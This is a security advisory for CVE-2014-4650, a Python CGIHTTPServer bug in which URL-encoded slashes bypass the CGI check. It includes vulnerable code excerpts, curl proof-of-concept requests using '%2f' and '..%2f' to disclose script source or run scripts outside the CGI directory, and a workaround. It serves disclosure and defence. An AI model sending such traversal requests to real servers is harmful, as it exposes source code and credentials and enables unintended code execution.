Python CGIHTTPServer File Disclosure and Potential Code Execution

The CGIHTTPServer Python module does not properly handle URL-encoded path separators in URLs. This may enable attackers to disclose a CGI script’s source code or execute arbitrary CGI scripts in the server’s document root.

Details

• Product: Python CGIHTTPServer
• Affected Versions:
  • 2.7 - 2.7.7,
  • 3.2 - 3.2.4,
  • 3.3 - 3.3.2,
  • 3.4 - 3.4.1,
  • 3.5 pre-release
• Fixed Versions:
  • 2.7 rev b4bab0788768,
  • 3.2 rev e47422855841,
  • 3.3 rev 5676797f3a3e,
  • 3.4 rev 847e288d6e93,
  • 3.5 rev f8b3bb5eb190
• Vulnerability Type: File Disclosure, Directory Traversal, Code Execution
• Security Risk: high
• Vendor URL: https://docs.python.org/2/library/cgihttpserver.html
• Vendor Status: fixed version released
• Advisory URL: https://www.redteam-pentesting.de/advisories/rt-sa-2014-008
• Advisory Status: published
• CVE: CVE-2014-4650
• CVE URL: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-4650

Introduction

The CGIHTTPServer module defines a request-handler class, interface compatible with BaseHTTPServer. BaseHTTPRequestHandler and inherits behavior from SimpleHTTPServer. SimpleHTTPRequestHandler but can also run CGI scripts.

(from the Python documentation)

More Details

The CGIHTTPServer module can be used to set up a simple HTTP server with CGI scripts. A sample server script in Python may look like the following:

#!/usr/bin/env python2

import CGIHTTPServer
import BaseHTTPServer

if __name__ == "__main__":
    server = BaseHTTPServer.HTTPServer
    handler = CGIHTTPServer.CGIHTTPRequestHandler
    server_address = ("", 8000)
    # Note that only /cgi-bin will work:
    handler.cgi_directories = ["/cgi-bin", "/cgi-bin/subdir"]
    httpd = server(server_address, handler)
    httpd.serve_forever()

This server should execute any scripts located in the subdirectory “cgi-bin”. A sample CGI script can be placed in that directory, for example a script like the following:

#!/usr/bin/env python2
import json
import sys

db_credentials = "SECRET"
sys.stdout.write("Content-type: text/json\r\n\r\n")
sys.stdout.write(json.dumps({"text": "This is a Test"}))

The Python library CGIHTTPServer.py implements the CGIHTTPRequestHandler class which inherits from SimpleHTTPServer.SimpleHTTPRequestHandler:

class SimpleHTTPRequestHandler(BaseHTTPServer.BaseHTTPRequestHandler):
[...]
    def do_GET(self):
        """Serve a GET request."""
        f = self.send_head()
        if f:
            try:
                self.copyfile(f, self.wfile)
            finally:
                f.close()

    def do_HEAD(self):
        """Serve a HEAD request."""
        f = self.send_head()
        if f:
            f.close()

    def translate_path(self, path):
    [...]
        path = posixpath.normpath(urllib.unquote(path))
        words = path.split('/')
        words = filter(None, words)
        path = os.getcwd()
        [...]

The CGIHTTPRequestHandler class inherits, among others, the methods do_GET() and do_HEAD() for handling HTTP GET and HTTP HEAD requests. The class overrides send_head() and implements several new methods, such as do_POST(), is_cgi() and run_cgi():

class CGIHTTPRequestHandler(SimpleHTTPServer.SimpleHTTPRequestHandler):
[...]
    def do_POST(self):
        [...]
        if self.is_cgi():
            self.run_cgi()
        else:
            self.send_error(501, "Can only POST to CGI scripts")

    def send_head(self):
        """Version of send_head that support CGI scripts"""
        if self.is_cgi():
            return self.run_cgi()
        else:
            return SimpleHTTPServer.SimpleHTTPRequestHandler.send_head(self)

    def is_cgi(self):
        [...]
        collapsed_path = _url_collapse_path(self.path)
        dir_sep = collapsed_path.find('/', 1)
        head, tail = collapsed_path[:dir_sep], collapsed_path[dir_sep+1:]
        if head in self.cgi_directories:
            self.cgi_info = head, tail
            return True
        return False
[...]
    def run_cgi(self):
        """Execute a CGI script."""
        dir, rest = self.cgi_info

        [...]

        # dissect the part after the directory name into a script name &
        # a possible additional path, to be stored in PATH_INFO.
        i = rest.find('/')
        if i >= 0:
            script, rest = rest[:i], rest[i:]
        else:
            script, rest = rest, ''

        scriptname = dir + '/' + script
        scriptfile = self.translate_path(scriptname)
        if not os.path.exists(scriptfile):
            self.send_error(404, "No such CGI script (%r)" % scriptname)
            return
        if not os.path.isfile(scriptfile):
            self.send_error(403, "CGI script is not a plain file (%r)" %
                            scriptname)
            return
        [...]
[...]

For HTTP GET requests, do_GET() first invokes send_head(). That method calls is_cgi() to determine whether the requested path is to be executed as a CGI script. The is_cgi() method uses _url_collapse_path() to normalize the path, i.e. remove extraneous slashes (/),current directory (.), or parent directory (..) elements, taking care not to permit directory traversal below the document root. The is_cgi() function returns True when the first path element is contained in the cgi_directories list. As _url_collaps_path() and is_cgi() never URL decode the path, replacing the forward slash after the CGI directory in the URL to a CGI script with the URL encoded variant %2f leads to is_cgi() returning False. This will make CGIHTTPRequestHandler’s send_head() then invoke its parent’s send_head() method which translates the URL path to a file system path using the translate_path() method and then outputs the file’s contents raw. As translate_path() URL decodes the path, this then succeeds and discloses the CGI script’s file contents:

$ curl http://localhost:8000/cgi-bin%2ftest.py
#!/usr/bin/env python2
import json
import sys

db_credentials = "SECRET"
sys.stdout.write("Content-type: text/json\r\n\r\n")
sys.stdout.write(json.dumps({"text": "This is a Test"}))

Similarly, the CGIHTTPRequestHandler can be tricked into executing CGI scripts that would normally not be executable. The class normally only allows executing CGI scripts that are direct children of one of the directories listed in cgi_directories. Furthermore, only direct subdirectories of the document root (the current working directory) can be valid CGI directories.

This can be seen in the following example. Even though the sample server shown above includes “/cgi-bin/subdir” as part of the request handler’s cgi_directories, a CGI script named test.py in that directory is not executed:

$ curl http://localhost:8000/cgi-bin/subdir/test.py
[...]
<p>Error code 403.
<p>Message: CGI script is not a plain file ('/cgi-bin/subdir').
[...]

Here, is_cgi() set self.cgi_info to (’/cgi-bin’, ‘subdir/test.py’) and returned True. Next, run_cgi() further dissected these paths to perform some sanity checks, thereby mistakenly assuming subdir to be the executable script’s filename and test.py to be path info. As subdir is not an executable file, run_cgi() returns an error message. However, if the forward slash between subdir and test.py is replaced with %2f, invoking the script succeeds:

$ curl http://localhost:8000/cgi-bin/subdir%2ftest.py
{"text": "This is a Test"}

This is because neither is_cgi() nor run_cgi() URL decode the path during processing until run_cgi() tries to determine whether the target script is an executable file. More specifically, as subdir%2ftest.py does not contain a forward slash, it is not split into the script name subdir and path info test.py, as in the previous example.

Similarly, using URL encoded forward slashes, executables outside of a CGI directory can be executed:

$ curl http://localhost:8000/cgi-bin/..%2ftraversed.py
{"text": "This is a Test"}

Workaround

Subclass CGIHTTPRequestHandler and override the is_cgi() method with a variant that first URL decodes the supplied path, for example:

class FixedCGIHTTPRequestHandler(CGIHTTPServer.CGIHTTPRequestHandler):
    def is_cgi(self):
        self.path = urllib.unquote(self.path)
        return CGIHTTPServer.CGIHTTPRequestHandler.is_cgi(self)

Fix

Update to the latest Python version from the Mercurial repository at http://hg.python.org/cpython/.

Security Risk

The vulnerability can be used to gain access to the contents of CGI binaries or the source code of CGI scripts. This may reveal sensitve information, for example access credentials. This can greatly help attackers in mounting further attacks and is therefore considered to pose a high risk. Furthermore attackers may be able to execute code that was not intended to be executed. However, this is limited to files stored in the server’s working directory or in its subdirectories.

The CGIHTTPServer code does contain this warning: “SECURITY WARNING: DON’T USE THIS CODE UNLESS YOU ARE INSIDE A FIREWALL” Even when used on a local computer this may allow other local users to execute code in the context of another user.

Timeline

• 2014-04-07 Vulnerability identified
• 2014-06-11 Customer approved disclosure to vendor
• 2014-06-11 Vendor notified
• 2014-06-15 Vendor disclosed vulnerability in their public bug tracker
  and addressed it in public source code repository
• 2014-06-23 CVE number requested
• 2014-06-25 CVE number assigned
• 2014-06-26 Advisory released

References

http://bugs.python.org/issue21766

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